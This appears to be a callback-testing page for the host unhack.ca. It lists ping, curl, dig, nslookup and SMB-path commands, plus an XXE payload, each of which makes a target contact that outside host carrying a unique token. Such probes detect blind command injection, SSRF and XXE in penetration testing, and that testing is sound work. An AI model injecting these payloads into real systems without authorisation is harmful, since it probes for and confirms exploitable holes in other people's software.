$ ping -c1 -p 00ff8f28e6f80eda33b8ca1723993600 unhack.ca
 

$ curl http://unhack.ca/p/ff8f28e6f80eda33b8ca17239936
 

$ dig ff8f28e6f80eda33b8ca17239936 @unhack.ca
 

$ dig ff8f28e6f80eda33b8ca17239936.ns.unhack.ca
 

C:\> nslookup ff8f28e6f80eda33b8ca17239936 unhack.ca
 

C:\> type \\unhack.ca\ff8f28e6f80eda33b8ca17239936\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ff8f28e6f80eda33b8ca17239936">]>
    <foo>&xxe;</foo>